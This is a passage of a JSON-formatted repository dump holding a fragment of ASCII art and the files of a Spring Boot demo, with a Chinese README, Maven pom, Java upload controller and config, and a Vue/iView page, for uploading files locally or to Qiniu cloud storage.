:.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/README.md",
    "content": "# spring-boot-demo-upload\n\n> 本 demo 演示了 Spring Boot 如何实现本地文件上传以及如何上传文件至七牛云平台。前端使用 vue 和 iview 实现上传页面。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-upload</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n    <packaging>jar</packaging>\n\n    <name>spring-boot-demo-upload</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.qiniu</groupId>\n            <artifactId>qiniu-java-sdk</artifactId>\n            <version>[7.2.0, 7.2.99]</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-upload</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## UploadConfig.java\n\n```java\n/**\n * <p>\n * 上传配置\n * </p>\n *\n * @package: com.jun.plugin.upload.config\n * @description: 上传配置\n * @author: yangkai.shen\n * @date: Created in 2018/10/23 14:09\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@ConditionalOnClass({Servlet.class, StandardServletMultipartResolver.class, MultipartConfigElement.class})\n@ConditionalOnProperty(prefix = \"spring.http.multipart\", name = \"enabled\", matchIfMissing = true)\n@EnableConfigurationProperties(MultipartProperties.class)\npublic class UploadConfig {\n   @Value(\"${qiniu.accessKey}\")\n   private String accessKey;\n\n   @Value(\"${qiniu.secretKey}\")\n   private String secretKey;\n\n   private final MultipartProperties multipartProperties;\n\n   @Autowired\n   public UploadConfig(MultipartProperties multipartProperties) {\n      this.multipartProperties = multipartProperties;\n   }\n\n   /**\n    * 上传配置\n    */\n   @Bean\n   @ConditionalOnMissingBean\n   public MultipartConfigElement multipartConfigElement() {\n      return this.multipartProperties.createMultipartConfig();\n   }\n\n   /**\n    * 注册解析器\n    */\n   @Bean(name = DispatcherServlet.MULTIPART_RESOLVER_BEAN_NAME)\n   @ConditionalOnMissingBean(MultipartResolver.class)\n   public StandardServletMultipartResolver multipartResolver() {\n      StandardServletMultipartResolver multipartResolver = new StandardServletMultipartResolver();\n      multipartResolver.setResolveLazily(this.multipartProperties.isResolveLazily());\n      return multipartResolver;\n   }\n\n   /**\n    * 华东机房\n    */\n   @Bean\n   public com.qiniu.storage.Configuration qiniuConfig() {\n      return new com.qiniu.storage.Configuration(Zone.zone0());\n   }\n\n   /**\n    * 构建一个七牛上传工具实例\n    */\n   @Bean\n   public UploadManager uploadManager() {\n      return new UploadManager(qiniuConfig());\n   }\n\n   /**\n    * 认证信息实例\n    */\n   @Bean\n   public Auth auth() {\n      return Auth.create(accessKey, secretKey);\n   }\n\n   /**\n    * 构建七牛空间管理实例\n    */\n   @Bean\n   public BucketManager bucketManager() {\n      return new BucketManager(auth(), qiniuConfig());\n   }\n}\n```\n\n## UploadController.java\n\n```java\n/**\n * <p>\n * 文件上传 Controller\n * </p>\n *\n * @package: com.jun.plugin.upload.controller\n * @description: 文件上传 Controller\n * @author: yangkai.shen\n * @date: Created in 2018/11/6 16:33\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@RestController\n@Slf4j\n@RequestMapping(\"/upload\")\npublic class UploadController {\n   @Value(\"${spring.servlet.multipart.location}\")\n   private String fileTempPath;\n\n   @Value(\"${qiniu.prefix}\")\n   private String prefix;\n\n   private final IQiNiuService qiNiuService;\n\n   @Autowired\n   public UploadController(IQiNiuService qiNiuService) {\n      this.qiNiuService = qiNiuService;\n   }\n\n   @PostMapping(value = \"/local\", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)\n   public Dict local(@RequestParam(\"file\") MultipartFile file) {\n      if (file.isEmpty()) {\n         return Dict.create().set(\"code\", 400).set(\"message\", \"文件内容为空\");\n      }\n      String fileName = file.getOriginalFilename();\n      String rawFileName = StrUtil.subBefore(fileName, \".\", true);\n      String fileType = StrUtil.subAfter(fileName, \".\", true);\n      String localFilePath = StrUtil.appendIfMissing(fileTempPath, \"/\") + rawFileName + \"-\" + DateUtil.current(false) + \".\" + fileType;\n      try {\n         file.transferTo(new File(localFilePath));\n      } catch (IOException e) {\n         log.error(\"【文件上传至本地】失败，绝对路径：{}\", localFilePath);\n         return Dict.create().set(\"code\", 500).set(\"message\", \"文件上传失败\");\n      }\n\n      log.info(\"【文件上传至本地】绝对路径：{}\", localFilePath);\n      return Dict.create().set(\"code\", 200).set(\"message\", \"上传成功\").set(\"data\", Dict.create().set(\"fileName\", fileName).set(\"filePath\", localFilePath));\n   }\n\n   @PostMapping(value = \"/yun\", consumes = MediaType.MULTIPART_FORM_DATA_VALUE)\n   public Dict yun(@RequestParam(\"file\") MultipartFile file) {\n      if (file.isEmpty()) {\n         return Dict.create().set(\"code\", 400).set(\"message\", \"文件内容为空\");\n      }\n      String fileName = file.getOriginalFilename();\n      String rawFileName = StrUtil.subBefore(fileName, \".\", true);\n      String fileType = StrUtil.subAfter(fileName, \".\", true);\n      String localFilePath = StrUtil.appendIfMissing(fileTempPath, \"/\") + rawFileName + \"-\" + DateUtil.current(false) + \".\" + fileType;\n      try {\n         file.transferTo(new File(localFilePath));\n         Response response = qiNiuService.uploadFile(new File(localFilePath));\n         if (response.isOK()) {\n            JSONObject jsonObject = JSONUtil.parseObj(response.bodyString());\n\n            String yunFileName = jsonObject.getStr(\"key\");\n            String yunFilePath = StrUtil.appendIfMissing(prefix, \"/\") + yunFileName;\n\n            FileUtil.del(new File(localFilePath));\n\n            log.info(\"【文件上传至七牛云】绝对路径：{}\", yunFilePath);\n            return Dict.create().set(\"code\", 200).set(\"message\", \"上传成功\").set(\"data\", Dict.create().set(\"fileName\", yunFileName).set(\"filePath\", yunFilePath));\n         } else {\n            log.error(\"【文件上传至七牛云】失败，{}\", JSONUtil.toJsonStr(response));\n            FileUtil.del(new File(localFilePath));\n            return Dict.create().set(\"code\", 500).set(\"message\", \"文件上传失败\");\n         }\n      } catch (IOException e) {\n         log.error(\"【文件上传至七牛云】失败，绝对路径：{}\", localFilePath);\n         return Dict.create().set(\"code\", 500).set(\"message\", \"文件上传失败\");\n      }\n   }\n}\n```\n\n## QiNiuServiceImpl.java\n\n```java\n/**\n * <p>\n * 七牛云上传Service\n * </p>\n *\n * @package: com.jun.plugin.upload.service.impl\n * @description: 七牛云上传Service\n * @author: yangkai.shen\n * @date: Created in 2018/11/6 17:22\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Service\n@Slf4j\npublic class QiNiuServiceImpl implements IQiNiuService, InitializingBean {\n   private final UploadManager uploadManager;\n\n   private final Auth auth;\n\n   @Value(\"${qiniu.bucket}\")\n   private String bucket;\n\n   private StringMap putPolicy;\n\n   @Autowired\n   public QiNiuServiceImpl(UploadManager uploadManager, Auth auth) {\n      this.uploadManager = uploadManager;\n      this.auth = auth;\n   }\n\n   /**\n    * 七牛云上传文件\n    *\n    * @param file 文件\n    * @return 七牛上传Response\n    * @throws QiniuException 七牛异常\n    */\n   @Override\n   public Response uploadFile(File file) throws QiniuException {\n      Response response = this.uploadManager.put(file, file.getName(), getUploadToken());\n      int retry = 0;\n      while (response.needRetry() && retry < 3) {\n         response = this.uploadManager.put(file, file.getName(), getUploadToken());\n         retry++;\n      }\n      return response;\n   }\n\n   @Override\n   public void afterPropertiesSet() {\n      this.putPolicy = new StringMap();\n      putPolicy.put(\"returnBody\", \"{\\\"key\\\":\\\"$(key)\\\",\\\"hash\\\":\\\"$(etag)\\\",\\\"bucket\\\":\\\"$(bucket)\\\",\\\"width\\\":$(imageInfo.width), \\\"height\\\":${imageInfo.height}}\");\n   }\n\n   /**\n    * 获取上传凭证\n    *\n    * @return 上传凭证\n    */\n   private String getUploadToken() {\n      return this.auth.uploadToken(bucket, null, 3600, putPolicy);\n   }\n}\n```\n\n## index.html\n\n```html\n<!doctype html>\n<html lang=\"en\">\n<head>\n   <meta charset=\"UTF-8\">\n   <meta name=\"viewport\"\n         content=\"width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0\">\n   <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\">\n   <title>spring-boot-demo-upload</title>\n   <!-- import Vue.js -->\n   <script src=\"https://cdn.bootcss.com/vue/2.5.17/vue.min.js\"></script>\n   <!-- import stylesheet -->\n   <link href=\"https://cdn.bootcss.com/iview/3.1.4/styles/iview.css\" rel=\"stylesheet\">\n   <!-- import iView -->\n   <script src=\"https://cdn.bootcss.com/iview/3.1.4/iview.min.js\"></script>\n</head>\n<body>\n<div id=\"app\">\n   <Row :gutter=\"16\" style=\"background:#eee;padding:10%\">\n      <i-col span=\"12\">\n         <Card style=\"height: 300px\">\n            <p slot=\"title\">\n               <Icon type=\"ios-cloud-upload\"></Icon>\n               本地上传\n            </p>\n            <div style=\"text-align: center;\">\n               <Upload\n                     :before-upload=\"handleLocalUpload\"\n                     action=\"/demo/upload/local\"\n                     ref=\"localUploadRef\"\n                     :on-success=\"handleLocalSuccess\"\n                     :on-error=\"handleLocalError\"\n               >\n                  <i-button icon=\"ios-cloud-upload-outline\">选择文件</i-button>\n               </Upload>\n               <i-button\n                     type=\"primary\"\n                     @click=\"localUpload\"\n                     :loading=\"local.loadingStatus\"\n                     :disabled=\"!local.file\">\n                  {{ local.loadingStatus ? '本地文件上传中' : '本地上传' }}\n               </i-button>\n            </div>\n            <div>\n               <div v-if=\"local.log.status != 0\">状态：{{local.log.message}}</div>\n               <div v-if=\"local.log.status === 200\">文件名：{{local.log.fileName}}</div>\n               <div v-if=\"local.log.status === 200\">文件路径：{{local.log.filePath}}</div>\n            </div>\n         </Card>\n      </i-col>\n      <i-col span=\"12\">\n         <Card style=\"height: 300px;\">\n            <p slot=\"title\">\n               <Icon type=\"md-cloud-upload\"></Icon>\n               七牛云上传\n            </p>\n            <div style=\"text-align: center;\">\n               <Upload\n                     :before-upload=\"handleYunUpload\"\n                     action=\"/demo/upload/yun\"\n                     ref=\"yunUploadRef\"\n                     :on-success=\"handleYunSuccess\"\n                     :on-error=\"handleYunError\"\n               >\n                  <i-button icon=\"ios-cloud-upload-outline\">选择文件</i-button>\n               </Upload>\n               <i-button\n                     type=\"primary\"\n                     @click=\"yunUpload\"\n                     :loading=\"yun.loadingStatus\"\n                     :disabled=\"!yun.file\">\n                  {{ yun.loadingStatus ? '七牛云文件上传中' : '七牛云上传' }}\n               </i-button>\n            </div>\n            <div>\n               <div v-if=\"yun.log.status != 0\">状态：{{yun.log.message}}</div>\n               <div v-if=\"yun.log.status === 200\">文件名：{{yun.log.fileName}}</div>\n               <div v-if=\"yun.log.status === 200\">文件路径：{{yun.log.filePath}}</div>\n            </div>\n         </Card>\n      </i-col>\n   </Row>\n</div>\n<script>\n   new Vue({\n      el: '#app',\n      data: {\n         local: {\n            // 选择文件后，将 beforeUpload 返回的 file 保存在这里，后面会用到\n            file: null,\n            // 标记上传状态\n            loadingStatus: false,\n            log: {\n               status: 0,\n               message: \"\",\n               fileName: \"\",\n               filePath: \"\"\n            }\n         },\n         yun: {\n            // 选择文件后，将 beforeUpload 返回的 file 保存在这里，后面会用到\n            file: null,\n            // 标记上传状态\n            loadingStatus: false,\n            log: {\n               status: 0,\n               message: \"\",\n               fileName: \"\",\n               filePath: \"\"\n            }\n         }\n      },\n      methods: {\n         // beforeUpload 在返回 false 或 Promise 时，会停止自动上传，这里我们将选择好的文件 file 保存在 data里，并 return false\n         handleLocalUpload(file) {\n            this.local.file = file;\n            return false;\n         },\n         // 这里是手动上传，通过 $refs 获取到 Upload 实例，然后调用私有方法 .post()，把保存在 data 里的 file 上传。\n         // iView 的 Upload 组件在调用 .post() 方法时，就会继续上传了。\n         localUpload() {\n            this.local.loadingStatus = true;  // 标记上传状态\n            this.$refs.localUploadRef.post(this.local.file);\n         },\n         // 上传成功后，清空 data 里的 file，并修改上传状态\n         handleLocalSuccess(response) {\n            this.local.file = null;\n            this.local.loadingStatus = false;\n            if (response.code === 200) {\n               this.$Message.success(response.message);\n               this.local.log.status = response.code;\n               this.local.log.message = response.message;\n               this.local.log.fileName = response.data.fileName;\n               this.local.log.filePath = response.data.filePath;\n               this.$refs.localUploadRef.clearFiles();\n            } else {\n               this.$Message.error(response.message);\n               this.local.log.status = response.code;\n               this.local.log.message = response.message;\n            }\n         },\n         // 上传失败后，清空 data 里的 file，并修改上传状态\n         handleLocalError() {\n            this.local.file = null;\n            this.local.loadingStatus = false;\n            this.$Message.error('上传失败');\n         },\n         // beforeUpload 在返回 false 或 Promise 时，会停止自动上传，这里我们将选择好的文件 file 保存在 data里，并 return false\n         handleYunUpload(file) {\n            this.yun.file = file;\n            return false;\n         },\n         // 这里是手动上传，通过 $refs 获取到 Upload 实例，然后调用私有方法 .post()，把保存在 data 里的 file 上传。\n         // iView 的 Upload 组件在调用 .post() 方法时，就会继续上传了。\n         yunUpload() {\n            this.yun.loadingStatus = true;  // 标记上传状态\n            this.$refs.yunUploadRef.post(this.yun.file);\n         },\n         // 上传成功后，清空 data 里的 file，并修改上传状态\n         handleYunSuccess(response) {\n            this.yun.file = null;\n            this.yun.loadingStatus = false;\n            if (response.code === 200) {\n               this.$Message.success(response.message);\n               this.yun.log.status = response.code;\n               this.yun.log.message = response.message;\n               this.yun.log.fileName = response.data.fileName;\n               this.yun.log.filePath = response.data.filePath;\n               this.$refs.yunUploadRef.clearFiles();\n            } else {\n               this.$Message.error(response.message);\n               this.yun.log.status = response.code;\n               this.yun.log.message = response.message;\n            }\n         },\n         // 上传失败后，清空 data 里的 file，并修改上传状态\n         handleYunError() {\n            this.yun.file = null;\n            this.yun.loadingStatus = false;\n            this.$Message.error('上传失败');\n         }\n      }\n   })\n</script>\n</body>\n</html>\n```\n\n## 参考\n\n1. Spring 官方文档：https://docs.spring.io/spring-boot/docs/2.1.0.RELEASE/reference/htmlsingle/#howto-multipart-file-upload-configuration\n2. 七牛云官方文档：https://developer.qiniu.com/kodo/sdk/1239/java#5\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_upload</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n    <name>springboot_upload</name>\n    <description>Demo project for Spring Boot</description>\n\n   <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>com.qiniu</groupId>\n            <artifactId>qiniu-java-sdk</artifactId>\n            <version>[7.2.0, 7.2.99]</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_upload</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/java/com/jun/plugin/upload/SpringBootDemoUploadApplication.java",
    "content": "package com.jun.plugin.upload;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.upload\n * @description: 启动类\n * @author: shenyangkai\n * @date: Created in 2018/10/20 21:23\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: shenyangkai\n */\n@SpringBootApplication\npublic class SpringBootDemoUploadApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoUploadApplication.class, args);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/java/com/jun/plugin/upload/config/UploadConfig.java",
    "content": "package com.jun.plugin.upload.config;\n\nimport com.qiniu.common.Zone;\nimport com.qiniu.storage.BucketManager;\nimport com.qiniu.storage.UploadManager;\nimport com.qiniu.util.Auth;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.boot.autoconfigure.web.servlet.MultipartProperties;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.multipart.MultipartResolver;\nimport org.springframework.web.multipart.support.StandardServletMultipartResolver;\nimport org.springframework.web.servlet.DispatcherServlet;\n\nimport javax.servlet.MultipartConfigElement;\nimport javax.servlet.Servlet;\n\n/**\n * <p>\n * 上传配置\n * </p>\n *\n * @package: com.xkcoding.upload.config\n * @description: 上传配置\n * @author: yangkai.shen\n * @date: Created in 2018/10/23 14:09\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@ConditionalOnClass({Servlet.class, StandardServletMultipartResolver.class, MultipartConfigElement.class})\n@ConditionalOnProperty(prefix = \"spring.http.multipart\", name = \"enabled\", matchIfMissing = true)\n@EnableConfigurationProperties(MultipartProperties.class)\npublic class UploadConfig {\n\t@Value(\"${qiniu.accessKey}\")\n\tprivate String accessKey;\n\n\t@Value(\"${qiniu.secretKey}\")\n\tprivate String secretKey;\n\n\tprivate final MultipartProperties multipartProperties;\n\n\t@Autowired\n\tpublic UploadConfig(MultipartProperties multipartProperties) {\n\t\tthis.multipartProperties = multipartProperties;\n\t}\n\n\t/**\n\t * 上传配置\n\t */\n\t@Bean\n\t@ConditionalOnMissingBean\n\tpublic MultipartConfigElement multipartConfigElement() {\n\t\treturn this.multipartProperties.createMultipartConfig();\n\t}\n\n\t/**\n\t * 注册解析器\n\t */\n\t@Bean(name = DispatcherServlet.MULTIPART_RESOLVER_BEAN_NAME)\n\t@ConditionalOnMissingBean(MultipartResolver.class)\n\tpublic StandardServletMultipartResolver multipartResolver() {\n\t\tStandardServletMultipartResolver multipartResolver = new StandardServletMultipartResolver();\n\t\tmultipartResolver.setResolveLazily(this.multipartProperties.isResolveLazily());\n\t\treturn multipartResolver;\n\t}\n\n\t/**\n\t * 华东机房\n\t */\n\t@Bean\n\tpublic com.qiniu.storage.Configuration qiniuConfig() {\n\t\treturn new com.qiniu.storage.Configuration(Zone.zone0());\n\t}\n\n\t/**\n\t * 构建一个七牛上传工具实例\n\t */\n\t@Bean\n\tpublic UploadManager uploadManager() {\n\t\treturn new UploadManager(qiniuConfig());\n\t}\n\n\t/**\n\t * 认证信息实例\n\t */\n\t@Bean\n\tpublic Auth auth() {\n\t\treturn Auth.create(accessKey, secretKey);\n\t}\n\n\t/**\n\t * 构建七牛空间管理实例\n\t */\n\t@Bean\n\tpublic BucketManager bucketManager() {\n\t\treturn new BucketManager(auth(), qiniuConfig());\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_upload/src/main/java/com/jun/plugin/upload/controller/IndexController.java",
